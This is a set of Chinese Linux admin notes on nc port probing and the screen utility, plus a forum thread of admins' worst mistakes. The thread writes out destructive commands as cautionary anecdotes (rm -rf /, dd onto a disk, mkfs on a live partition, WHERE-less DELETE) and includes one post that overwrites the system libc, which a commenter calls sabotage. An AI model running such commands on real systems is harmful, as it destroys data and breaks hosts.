-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
telnet 端口号探测 和 nc 端口号探测
[root@testsamapp2 ~]# nc -z 192.168.157.87 21
Connection to 192.168.157.87 21 port [tcp/ftp] succeeded!
[root@testsamapp2 ~]# nc -z 192.168.157.87 3389
Connection to 192.168.157.87 3389 port [tcp/ms-wbt-server] succeeded!
linux command screen / screen简介(Linux中让程序在后台继续运行)
http://linux.chinaitlab.com/command/723864.html
http://luckykapok918.blog.163.com/blog/static/20586504320123275833571/
功能说明:多重视窗管理程序。
语 法:screen [-AmRvx -ls -wipe][-d <作业名称>][-h <行数>][-r <作业名称>][-s <shell>][-S <作业名称>]
补充说明:screen为多重视窗管理程序。此处所谓的视窗,是指一个全屏幕的文字模式画面。通常只有在使用telnet登入主机或是使用老式的终端机时,才有可能用到screen程序。
参 数:
-A 将所有的视窗都调整为目前终端机的大小。
-d<作业名称> 将指定的screen作业离线。
-h<行数> 指定视窗的缓冲区行数。
-m 即使目前已在作业中的screen作业,仍强制建立新的screen作业。
-r<作业名称> 恢复离线的screen作业。
-R 先试图恢复离线的作业。若找不到离线的作业,即建立新的screen作业。
-s<shell> 指定建立新视窗时,所要执行的shell。
-S<作业名称> 指定screen作业的名称。
-v 显示版本信息。
-x 恢复之前离线的screen作业。
-ls或--list 显示目前所有的screen作业。
-wipe 检查目前所有的screen作业,并删除已经无法使用的screen作业。
在实际工作中,我们ssh等到远程的Linux上,运行一个程序,但是当我们关闭掉我们的连接终端断开ssh后,刚才运行着的程序也会自动被中断结束。当ssh连接断开后,如何让我们的程序继续在后台运行呢?下面介绍我常使用的两个方法。
screen让程序后台执行--一个强大的工具
简 单来说,Screen是一个可以在多个进程之间多路复用一个物理终端的窗口管理器。Screen中有会话的概念,用户可以在一个screen会话中创建多 个screen窗口,在每一个screen窗口中就像操作一个真实的telnet/SSH连接窗口那样。在screen中创建一个新的窗口有这样几种方 式:
1.直接在命令行键入screen命令
[root@localhost ~]# screen
Screen将创建一个执行shell的全屏窗口。你可以执行任意shell程序,就像在ssh窗口中那样。在该窗口中键入exit退出该窗口,如果这是该screen会话的唯一窗口,该screen会话退出,否则screen自动切换到前一个窗口。
2.Screen命令后跟你要执行的程序。
[root@localhost ~]# screen vi test.c
Screen创建一个执行vi test.c的单窗口会话,退出vi将退出该窗口/会话。
3.以上两种方式都创建新的screen会话。我们还可以在一个已有screen会话中创建新的窗口。在当前screen窗口中键入C-a c,即Ctrl键+a键,之后再按下c键,screen 在该会话内生成一个新的窗口并切换到该窗口。
给 screen发送命令使用了特殊的键组合C-a(Ctrl+a)。这是因为我们在键盘上键入的信息是直接发送给当前screen窗口,必须用其他方式向 screen窗口管理器发出命令,默认情况下,screen接收以C-a开始的命令。这种命令形式在screen中叫做键绑定(key binding),C-a叫做命令字符(command character)。
可以通过C-a ?来查看所有的键绑定,我常用的键绑定有:
C-a ? 显示所有键绑定信息
C-a d 暂时断开screen会话
C-a k 杀掉当前窗口
C-a w 显示所有窗口列表
我的通常的真实使用场景如下:
ssh登录我的Linux服务器,screen ./test.sh 运行一个shell脚本,按键C-a d(先按Ctrl+a 再按d键)暂时断开screen会话;然后干别的事情(比如,散散步/打打乒乓球)去了(可能ssh连接已经被断开)。
过一会儿,回来重新登录,然后
screen -ls #显示所有的 screen sessions (C-a d后的session为detached状态)
screen -r [keyword] #找到我想要 screen session 恢复回来 (捡回来)
若 screen -ls 有 Attached sessions, 如果想要使用它,可以这样来做
screen -d [keyword] #强制 detach,以便用screen -r 「接手」过来
PS: screen功能很强大的,我通常也就使用了上面的基本功能。更多的,请看参考资料或者man screen
参考资料:
http://www.21andy.com/blog/20071121/677.html
http://www.ibm.com/developerworks/cn/linux/l-cn-screen/
http://blogold.chinaunix.net/u1/37553/showart_341863.html
写下你职业生涯中最难以忘怀的误操作。。
http://www.dangkai.com/ArticlePage/Article59549.htm
http://bbs.chinaunix.net/thread-2076933-1-1.html
Seker一次删除用户时,去 /home/$USER 看了下,没任何用户自建文件
于是 userdel -rf USERNAME
回车后,没见出现 shell#
脑子瞬间空白~~手去按CTRL+C
已经晚了,,,
cat /etc/passwd 用户的HOME被改过。。。
还好有备份。。但也损失了部分数据。。。
从此,再也不敢用 userdel -rf
loesprite
我写了个脚本批量修改十几台服务器的eth0:1,结果在mv命令忘记加-i的参数,结果破坏了oracle集群,关键服务停止近3个小时……
批注:脚本一定要多测试
skylove
ghost用得太多。。。有次在备份资料的时候,想偷懒用ghost搞定(win平台,非热备份)。。。结果。。。结果。。。两块硬盘太象了。。。
批注:这种傻事我也干过,幸好是自己的PC
kiever
新到公司不久,本来打算将IDC一台闲置的服务器扛回去,就按照标签上的IP地址找到后发现服务器无法登陆,问了其他人也没有密码,就直接拔了电源。
结果不到5分钟,接到上头电话,关键服务器无法访问。
最后才搞明白,服务器上的IP标签贴错了,我停了不该停的服务器。那个郁闷啊!!!
批注:所以,配置资料的整理很重要
lasama
在搭建一个邮件系统的测试环境时,由于邮件系统的管理系统的URL使用的是绝对路径而非相对路径(托管多个域),然后我在测试环上想登陆后台管理一下,结果直接登陆到在线系统上去了,点点鼠标,几百个用户就被我delete掉了..........直到偶然抬头一看IE的地址栏,即时血液倒流............
niao5929
在SYBASE数据库中使用DELETE命令,跟错了条件,删除了很多有用记录,好在上传的记录被及时导回,要不然就惨了
C.J
编了两天两夜的 linux (第一次lfs), 做了个tar后, 删除原来的文件,发现tar解开出错。。。
批注:对于做lfs这样的事,打击是太大了
donalxm
就前几天,rm -rf *,按ctrl+C的时候已经迟了,敲入任何命令都返回 Command notfound.幸亏之前备份了一些资料,/etc/fstab自动mount另一块硬盘(win2000,备份的服务器)的资料只是只读,要不然要多吐一升血
xcrossbow
从年前使用dd时覆盖掉mbr中认识了sysrescue中的gpart救星!
呵呵!
07年底,想把一个img写到优盘时,用了如下糟糕的命令
dd if=./xxx.img of=/dev/sda
由于一直记得我的Thinkpad T43是并口硬盘,因该识别为hda,自以为第一个优盘是sda了,打完后重启才意识到问题!
幸亏了解并用过sysrecue盘,参考以前看的linux server hack2中的使用gpart恢复分区一节,找到了数据分区,救出了数据,好悬!
一点经验:
1 、 dd 命令 带of=xxx时,一定要神智清楚,工作情绪最好时用 批注:这个真的很重要
2、sysrescue救援盘和oreilly 的linux server hack I & II建议您备一份,真的可以救命的欧!
vermouth
似乎大多数都是平时权限过大的问题,要养成不到万不得已不用root的习惯!
highmag
1. ghost disk to disk for clone windows 2000 server, but src anddst...
2. path at /, run rm *lib -rf
simbalwd
SCOUnix系统上,为了增加一个文件系统,结果用divvy把有用分区上的文件系统给一个一个删除掉,最后还自信满满的install,结果不一会儿就满屏的字符,系统自动关机了。导致生产系统停止服务三天,还好不是关键应用。找了以前的备份,花了整整一个礼拜的时间才把丢掉的数据给补回来,那段时间看到我们做业务的,头都抬8起来。
itxiaofei
删除某变量路径下的目录,结果此变量为空
rm -rf $abc 实际就变成了 rm -rf /
从这以后,rm要带r都必须先确认目录,变量都必须判断一次
批注:我的一个脚本也干过同样的傻事
sanyork
前年夏天管一个小的机房,机房里面有四个机架二十多台服务器,安装了两个空调,一个1.5匹的和一个5匹的,白天上班机房有中央空调,为了省电,白天只开1.5匹的,下班的时候忘记了开那个5匹的空调,结果1.5匹的那个空调由于负荷太大罢*工了,后来机房里所有的服务器全部死机了,打开机房,里面温度有六十多度,不过那些IBM的服务器硬件质量还不错,所有的机器都发出报警声,没有造成硬件损坏,重新启动后就好了。
批注:遇到过同样的事,拿着纸箱扇风给交换机降温
ShadowStar
本来服务器使用bond连接到的switch,手欠改为bridge了。
改完就往机房跑,半路上接到电话,服务器区全部断网了。
批注:真的是手欠
yuanchuang
误操作到是有,但还没到难以忘怀的地步。
那时,一个版本刚编码完,进行单元测试,大家都需要测试,都挺忙,那时也不知脑子中在搞啥,在一台Solaris上执行rm -rf/,我还奇怪为啥还有确认?这事没给我留下太深的印象,所以细节都忘了。
verysnap
本来只是想编译个程序的……
$make love
donot know how to make love,stop.
批注:这个是来逗乐的
Dalamar
经常在十几台机器之间来回切换,有次rm -rf ./* 清个文件夹,结果执行完发现rm到其他机器上去了....
从此以后执行重要命令之前先ifconfig看下ip
批注:在错误的目标机器上执行命令的傻事也干过,幸好没什么后果
pnshe
有次在虚拟机做测试,错把测试数据库当成虚拟机init 0,同事马上报服务器宕,服务器在IDC机房,我哭啊。
Dalamar
还有次,刚用Oracle不久. 开发服务器磁盘满了,然后同事去查全部.log文件.
找到三个redo1/2/3.log文件,问我能不能删.
我也没注意,说删吧删吧. 结果就把数据库搞挂了....
tech_linux
工作第一年,删除数据库表内数据. where条件后是ID=, 结果删到最后一个时走神, 没写id=,直接写了个数.三秒钟,七百多万条数据被我删了. 当时全脑空白,后听同事说我脸色惨白!! 恢复一夜,还是丢失部分数据,关键服务,核心数据库.
批注:某次在MySQL下delete数据,回滚刚才输入的命令修改where条件,诸如name=aaaand id=1,本来计划用退格删除1换个其他的,网络突然出现问题,手欠,多按了好几下退格,还按了回车,网络正常了一看,正好把andid=1退掉,数据删了一堆,幸好有备份!
xxyyy
一次工程实施,一个超市开业,经过一个多月的数据初始化,好不容易把所有商品都弄好了,离开门只有5分钟了,超市门口庆典已经开始了,聚集了很多顾客等着开门呢,我突然接到他们超市的人说有一个商品的价格弄错了,要我手工修改数据库改过来,我就照做了,但是我写的update语句忘了写where条件了,执行后我发现执行的很慢,十几万条数据啊,所有的商品的价格都已一样的了,此时我足足愣了2分钟,一言不发,一身冷汗。我赶紧打电话给他们经理说能否晚开门5分钟我恢复备份数据库,他们不答应晚开门,但可以限制10分钟后才让收银台收款,我才终于将心放到肚子里了。
8年过去了,现在想起来都有些怕,万一没有数据库备份,我如何负责?我如何能负责得起啊!!!!!
haterw
scp libc-2.6.so xxx@yyy:/tmp
mv /tmp/libc-2.6.so /lib
ln -sf libc-2.6.so libc.so.6
批注:这是教人搞破坏
freett
基本浏览一下上面所有的
得出一教训
备份 备份 再备份!!!
能不用root 尽量不用root
批注:完全同意!
bigbomb
linux+mysql的虚拟主机
mysql的用户表中执行了
delete from user;
忘记加where条件,结果把所有用户信息删掉,还好搞IT的人都很宽容,尽管电话打爆,可没有一人投诉,至此以后得出一个教训--“做什么都要小心,改什么都要做备份“
zhangxiangod
修复一个硬盘 本来是fsck.ext2 /dev/hdb1 心不在赝 打成了mkfs.ext2 /dev/hdb1结果就不用说了
flashkkk
我最无辜的一次:
rm *.txt ----却变成了rm * .txt 。就多了一个空格阿!!!
cai_bird
1、电信原始话单数据,rm *.tmp,写成了rm * tmp,靠,这么rm的这么慢,ls一看,几十G数据没了。
2、sybase数据库,单步提交,update一用户资料表没带where,回车后脑子一片空白,敲了几个rollback,旁边看着的老大说,rollback没用的,准备通宵吧。
批注:肯定用的是UNIX,Linux root用户的rm是rm-i的alias,当然,象我这样的猪头用rm从来是rm -rf的,恶劣的习惯!
延长loguser用户登陆失效时间,增加1年有效使用期限
[root@sctssitweb01 ~]# chage -M 365 loguser
查看过期情况
chage -l username
修改过期日期
usermod -e 2010-3-25 username
或
chage -E 2010-3-25 username
linux常用+经典命令(持续更新)
http://www.iteye.com/topic/482236
end